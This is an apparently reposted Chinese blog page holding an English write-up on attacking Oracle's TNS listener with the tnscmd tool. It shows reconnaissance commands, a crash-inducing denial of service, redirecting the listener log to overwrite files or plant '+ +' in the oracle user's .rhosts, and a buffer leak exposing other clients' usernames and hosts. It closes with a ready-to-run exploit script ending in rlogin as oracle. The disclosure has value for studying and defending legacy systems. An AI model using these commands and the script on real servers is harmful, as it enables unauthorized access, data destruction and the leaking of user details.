Oracle TNS CMD 溢出资料

 Metasploit 的Oracle TNS  溢出模块  auxiliary/admin/oracle/tnscmd

 从国外网站找的exploit资料:

 

Tnscmd

2001/05/09 05:29:09  Exp

I. Intro

  • tnscmd can be used to speak, on a very simple level, with Oracle's TNS listener.

    The TNS listener (aka tnslsnr) is the network interface between a database client and the database server. tnslsnr listens on port 1521/tcp, but the DBA can change this (I've seen listeners on port 1541/tcp as well.) fwiw, nmap-services lists these as ncube-lm and rds2, respectively.

    The tnslnsr keeps a spartan log of activity -- spartan in that it doesn't log a whole lot of useful information. For instance, it does not log the IP address of TNS sessions.

    If you initiate a TCP session to the tnslsnr port, you won't make much headway; it won't provide a banner and will probably disconnect if you type something. Don't worry; this is what tnscmd is for.

II. tnscmd

  • tnscmd is not even close to a full-blown Oracle client; it simply talks to the tnslsnr process. tnslsnr will respond to certain commands such as   ping  (an application-level no-op),   version  (dumps version information about Oracle),   status  (dumps status about the listener and database instances), and   services  (dumps info about the running services.) Commands are apparently case-insensitive.

    Let's say we've found the host oraclebox.example.com listening on port 1521. It might be running Oracle; how can we tell? the 'ping' command is a good place to start; tnscmd will issue a 'ping' command if given no command.

    If we want to ping this host to see if it is actually running tnslsnr, we would type:

      unix% tnscmd -h oraclebox.example.com -p 1521
      sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521
      writing 87 bytes
      reading
      .I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER))
      
    Here we see three things:
    • the TNS command: (CONNECT_DATA=(COMMAND=ping))
    • the raw TNS packet sent to tnslsnr: .W.......6. [ etc ]
    • and the raw TNS reply packet from tnslsnr: .I......"..=(DESCRIPTION=( [etc]
    This reply is typical of 'ping' replies. The VSNNUM is the version number number encoded in decimal; convert it into hex and you'll get 8106000.

III. Information gathering

  • OK, now we've established tnslsnr is running on this host. What else can we do? There are (at least) three commands that are useful for information gathering, version,   status  and   services:
     unix% tnscmd version -h oraclebox.example.com -p 1521
     sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521
     writing 90 bytes
     reading
     .M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)).
     a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solaris:
     .Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor.fo
     r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapter
     .for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for.S
     olaris:.Version.8.1.6.0.0.-.Production,,.........@
     
    This is pretty straightforward.   version  reveals the version of Oracle (in this case, 8.1.6.0.0 for Solaris). Another command,   status  is a bit more verbose:
     unix% tnscmd status -h oraclebox.example.com -p 1521
     sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521
     writing 89 bytes
     reading
     .........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=135290880
     )(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8.
     1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/
     app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro
     
    [ snipped for brevity ]

    Wow, look at all that data. Kind of hard to read, but because it's all balanced within parens, we can break it up with the --indent option and make it purty:

    unix% tnscmd status -h oraclebox.example.com -p 1521 --indent

    We'll get something like:

      DESCRIPTION=
        TMP=  
        VSNNUM=135290880  
        ERR=0  
        ALIAS=LISTENER  
        SECURITY=OFF  
        VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production  
        START_DATE=01-SEP-2000.18:35:49  
        SIDNUM=1  
        LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log  
        PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora  
        TRACING=off  
        UPTIME=2032269835  
        SNMP=OFF
     
    Note   SECURITY=OFF. I believe this indicates whether or not the DBA has assigned a password to the listener.

    Note START_DATE and UPTIME. Not clear if UPTIME is the tnslsnr uptime or the host uptime.

    Note the path to LOGFILE and PRMFILE. This can give you a good idea of the filesystem layout.

    Other strange oracle stuff:

      ENDPOINT=
        HANDLER=
          STA=ready    
          HANDLER_MAXLOAD=0    
          HANDLER_LOAD=0    
          ESTABLISHED=0    
          REFUSED=0    
          HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0    
          PRE=ttc    
          SESSION=NS    
          DESCRIPTION=
            ADDRESS=
              PROTOCOL=ipc        
              KEY=EXTPROC
    
      ENDPOINT=
        HANDLER=
          STA=ready    
          HANDLER_MAXLOAD=0    
          HANDLER_LOAD=0    
          ESTABLISHED=0    
          REFUSED=0    
          HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0    
          PRE=ttc    
          SESSION=NS    
          DESCRIPTION=
            ADDRESS=
              PROTOCOL=tcp        
              HOST=oraclebox.example.com        
              PORT=1521
    
      ENDPOINT=
        HANDLER=
          STA=ready    
          HANDLER_MAXLOAD=0    
          HANDLER_LOAD=0    
          ESTABLISHED=0    
          REFUSED=0    
          HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0    
          PRE=giop    
          SESSION=RAW    
          DESCRIPTION=
            ADDRESS=
              PROTOCOL=tcp        
              HOST=oraclebox.example.com        
              PORT=2481
    
    .. unanswered question: what's running on port 2481?
     
            PROTOCOL_STACK=
              PRESENTATION=GIOP        
              SESSION=RAW
            
      SERVICE=
        SERVICE_NAME=PLSExtProc  
        INSTANCE=
          INSTANCE_NAME=PLSExtProc    
          NUM=1    
          INSTANCE_CLASS=ORACLE    
          NUMREL=1
    
      SERVICE=
        SERVICE_NAME=pr01stage  
        INSTANCE=
          INSTANCE_NAME=pr01stage    
          NUM=1    
          INSTANCE_CLASS=ORACLE    
          NUMREL=1
    
      SERVICE=
        SERVICE_NAME=rcats  
        INSTANCE=
          INSTANCE_NAME=rcats    
          NUM=1    
          INSTANCE_CLASS=ORACLE    
          NUMREL=1
    
    [ ... ]

    The 'services' command outputs still more information:

     unix% tnscmd services -h oraclebox.example.com -p 1521 --indent
     
    [ ... ]
     
      SERVICE=
        SERVICE_NAME=PLSExtProc  
        INSTANCE=
          INSTANCE_NAME=PLSExtProc    
          NUM=1    
          INSTANCE_CLASS=ORACLE    
          HANDLER=
            HANDLER_DISPLAY=DEDICATED.SERVER      
            STA=ready      
            HANDLER_INFO=LOCAL.SERVER      
            HANDLER_MAXLOAD=0      
            HANDLER_LOAD=0      
            ESTABLISHED=86      
            REFUSED=0      
            HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0      
            HANDLER_NAME=DEDICATED      
            ADDRESS=
              PROTOCOL=beq        
              PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc        
              ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc'
            
              ARGV0=extprocPLSExtProc        
              ARGS='
                LOCAL=NO
              '
          NUMREL=1
     
    PROGRAM,   ENVS, and   ARGV0  are potentially interesting. If the tnslsnr was started out of an interactive shell,   ENVS  will contain the user's environment.

IV. Break stuff

  • tnslsnr is vulnerable to remote denial-of-service attacks and potential security issues. According to Oracle, only versions 7.3.4, 8.0.6, and 8.1.6 are affected. I have verified vulnerabilities under 8.1.6 for Solaris.

    IV.1 - DoS:

    • An unpassworded tnslsnr can also be shut down by sending it a 'stop' command. Obvious, eh?

      "Bad" TNS packets can crash the listener, regardless of whether or not the DBA has set a password. Sending

      tnscmd [badcommand] -h oraclebox.example.com

      will SEGV the listener. badcommand can be any one of:

      • trc_file trc_level use_plugandplay trc_directory snmp_visible log_file log_status log_directory

    IV.2 - write files
    • Recall the 'log_file' command and the LOGFILE variable returned by the 'status' command. This is the path to the tnslsnr log file. As you might imagine, this variable can be changed. If we send this TNS command (using the --rawcmd option to tnslsnr)

         unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNEC
         T_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE
         =LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))"
        
      .. then tnslsnr will open with   O_APPEND  /tmp/floboz and start logging messages to it. This can be verified by the response packet:
        ........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(LOG
        FILENAME=/tmp/floboz))
        
      .. or by
         unix% tnscmd status -h oraclebox.example.com --indent | grep LOG
        
      Since tnscmd runs as the oracle user, an attacker can write files anywhere the oracle user can. If an attacker knows the pathname to a database (can be deduced from the pathnames revealed by tnscmd), she can clobber the database.

      She might, however, chose a more subtle route: either by using finger or determining the oracle home directory by guesswork (/home/oracle? /u/oracle? /opt/oracle?), she can create a .rhosts or .forward file. While the tnslsnr doesn't log much, it *does* log bad commands; she can then send a command such as (note the embedded newlines in the quotes)

         unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=((
         + +
         "
        
      .. tnslnsr will log something along the lines of
         TNS-01153: Failed to process string: 
         + +
      
         NL-00303: syntax error in NV string
        
      into our log file / .rhosts.

    IV.3: tns packet leakage

    • To the best of my knowledge, this bug remains unpatched in Oracle 8.1.7.

      By lying about the size of the packet we're sending to the tnslsnr, we can get the tnslsnr to reveal the contents of previous packets. We can do this with the --cmdsize option. While any command will work, we use " " (space) just so we preserve the original buffer contents as much as possible.

       unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40
       Sending   to oraclebox.example.com:1521
       Faking command length to 40 bytes
       connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))]
       .T.......6.,...............:................4.............(CONNECT_DATA=(COMMA
       ND=.)) 
       read
       ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
       =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE=3
       03)(EMFI=1))))
       
      .. that's odd, where did that   vices))CONNECT  come from? Hey, that looks familiar... it looks like the   services  command I just sent in the last example! But what's with the   CONNECT  ?   CONNECT_DATA  comes at the beginning of the packet; maybe there's another command here?
       unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90
       
      [ ... ]
       ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
       =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stage1
       )(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1))))
       
      Apparently tnslsnr doesn't clear the buffer before writing a packet into it, or maybe it doesn't properly zero-terminate a string. Whatever is going on inside can be used to our advantage to harvest more interesting information. Let's go whole-hog and try it a --cmdsize of 200:
       ........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(E
       RROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(
       SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM=C
       :\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))'))
       (ERROR=(CODE=303)(EMFI=1))))
       
      (I added the XXX's to balance the packet :) Huh, a pathname, a hostname, and a username. No passwords, unfortunately -- SQL*net login is handled in a child process, IIRC -- but a username is a good place to start. On a busy server, this can potentially reveal lots of usernames. If the listener is passworded and the DBA connects, will the password be leaked? hmm.

      By playing with the --cmdsize argument, the rest of the "old" packet(s) will be revealed. Once you've gone past a certain point, though, you'll just get a TNS error (ERR=1153). It's also not too hard to write a program to find the optimal values & run it against a server for a few days ..

      I have been able to verify that this works against Oracle for Solaris, but I have had reports that the Linux port does not exhibit this behaviour.

    V. References:

    • CVE entry
    • Oracle security alerts
    • ISS's advisory
    • Oracle Control Utility Reference
    • advisory sent to Oracle and CERT on 23 Oct 2000
    • tnscmd home

    VI. Thanks

    • Konstantin Zemlyak <zart at mail.ru> pointed out that the VSSNUM in the PING reply was the Oracle version number (135290880 = 0x8106000)

    VII. Notes

    • Commands intuited from 'strings `which tnslsnr`':
      • investigate spawn command; how to list what commands can be spawned?
      • ping - pings the listener
      • debug - dumps debugging info to the listener log (/u01/app/oracle/product/8.1.6/network/log/listener.log)
      • dispatch - ?
      • establish - "TNS-12504: TNS:listener was not given the SID in CONNECT_DATA"
      • reload - reloads config file
              06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0
              06-OCT-2000 23:37:03 * service_register * pr01dev * 0
        
      • services - dumps all sorts of chilly data
      • save_config - writes config to a backup file. (can this be specified remotely? hrm)
      • trace - needs a "trace level", unsure of the syntax here
      • version - pretty output of the installed TNS listener version(s)
      • stop - shuts the listener down (on purpose). if the DBA has set the database up properly, this should not work without a password.

      0-day spl01t:

      #!/bin/sh
      #
      # jwa@jammed.com  6 Oct 2000
      #
      
      # point the logfile at $HOME/.rhosts
      
      ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/home/oracle/.rhosts)))" -h oraclesvr2
      
      # verify that it worked (this will dump the value of log_file)
      
      ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2
      
      # put arbitrary data into the logfile-- it will look something like this:
      #
      # 06-OCT-2000 18:14:46 * log_file * 0
      # 06-OCT-2000 18:14:46 * log_file * 0
      # 06-OCT-2000 18:14:47 * 1153
      # TNS-01153: Failed to process string: 
      # + +
      #
      # NL-00303: syntax error in NV string
      #
      
      ./tnscmd --rawcmd "
      + +
      " -h oraclesvr2
      
      #
      # connect
      #
      
      rlogin -l oracle oraclesvr2
      


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值